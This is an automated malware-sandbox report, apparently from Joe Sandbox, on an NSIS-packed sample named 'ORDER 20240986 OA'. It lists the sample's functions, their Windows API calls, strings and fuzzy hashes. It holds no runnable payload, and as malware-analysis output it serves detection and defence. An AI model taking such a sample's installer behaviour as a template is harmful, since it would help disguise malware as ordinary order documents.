Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: 6S@$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2551480263
Opcode ID: 6ca7045f1a7671301313a85d8900d55d77a8c8edd744d26f36594b0d48a563bf
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6ca7045f1a7671301313a85d8900d55d77a8c8edd744d26f36594b0d48a563bf
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 00402F6B Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000000A,?,00000006,00000008,0000000A), ref: 0040308E
SetFilePointer.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,000000FF,00000000,00000000,?,?), ref: 004030F4

Part of subcall function 00402E79: DestroyWindow.USER32(?,00000000,00403059,?,?,00000006,00000008,0000000A), ref: 00402E8C

Strings

Inst, xrefs: 00402FC2
Null, xrefs: 00402FD4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
vy, xrefs: 00402F6B
soft, xrefs: 00402FCB

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: AllocDestroyFileGlobalPointerWindow
String ID: Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 1580554587-3989296954
Opcode ID: dd6470cab726a57cc84fa7a94d20a0cfb733827f7616c352e0bbc3f2355a85a1
Instruction ID: 4f853fa222ecb05c404167484fdfded8992d3bc80b65af41a5722040fb63cb1a
Opcode Fuzzy Hash: dd6470cab726a57cc84fa7a94d20a0cfb733827f7616c352e0bbc3f2355a85a1
Instruction Fuzzy Hash: 9541B271A012059BDF20DF65DD85B9E7FA8EB0175AF14803BE900B62D5DB7C8E808B5D

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,?,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 0040312F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,00000064,00008000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

... %d%%, xrefs: 0040323A
5, xrefs: 004031EC

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$5
API String ID: 551687249-3328568109
Opcode ID: 2b12612690519de3068172d76ec2280cdcede413f29547579ccd35042eb19dae
Instruction ID: 82e96eed204572331df772a9dc06b49ed9c909a247c3debab706571384c66a49
Opcode Fuzzy Hash: 2b12612690519de3068172d76ec2280cdcede413f29547579ccd35042eb19dae
Instruction Fuzzy Hash: 7841B171900209DBCB10DFA5DA84B9E7FB8AF44356F1442BBE915B72D0C7788B50CB99

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00), ref: 00405337
lstrlenW.KERNEL32(?,007A0F00), ref: 00405347
lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: f9f97bae3afdd1c4f1ca6782e82fa35db0496c66d131c2d1178b0595b913afc0
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: f9f97bae3afdd1c4f1ca6782e82fa35db0496c66d131c2d1178b0595b913afc0
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(?,00000064,?), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Strings

\, xrefs: 00406629
UXTHEME, xrefs: 0040660A
%s%S.dll, xrefs: 0040664D

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 550d24ea38cda2d92e74c1bb79bc0c47b539332056a7156cf0f117270c7474f2
Instruction ID: 9b62f472eb3a95df078ad497759be9c31f6c15c11f60cf08f6005a6c9cb4e6e4
Opcode Fuzzy Hash: 550d24ea38cda2d92e74c1bb79bc0c47b539332056a7156cf0f117270c7474f2
Instruction Fuzzy Hash: 9921BFB1C00128BBCF116FA5DE49D9E7E79EF09364F14423AF960762E0CB794C419B98

Function 0040652B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

Strings

*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00405C17 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,?,?,004015D1,00000000,000000F0), ref: 00405C25
CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C2A
CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C42

Strings

:, xrefs: 00405C34
\, xrefs: 00405C3A

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharNext
String ID: :$\
API String ID: 3213498283-1166558509
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5A8,0040A5A8,00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(?,007A0F00), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 58fdc18d76f7bcf16c6fce6c3f21aaeb4e3bf1edbc87f50fc288292bb51d9b5e
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 58fdc18d76f7bcf16c6fce6c3f21aaeb4e3bf1edbc87f50fc288292bb51d9b5e
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e8c6812557a8000d290618689d5c167272f7de43d41522ca2a47e16c60e8740
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 2e8c6812557a8000d290618689d5c167272f7de43d41522ca2a47e16c60e8740
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 2a08160353212a6e5352d7991a9f72d4257b9bf0db71b279ef6b12194f0acfdb
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 2a08160353212a6e5352d7991a9f72d4257b9bf0db71b279ef6b12194f0acfdb
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 659e19d517a3b0c3334d5d290c3650de3f4e6e8c213cad244c2b0995072c2ab2
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: 659e19d517a3b0c3334d5d290c3650de3f4e6e8c213cad244c2b0995072c2ab2
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
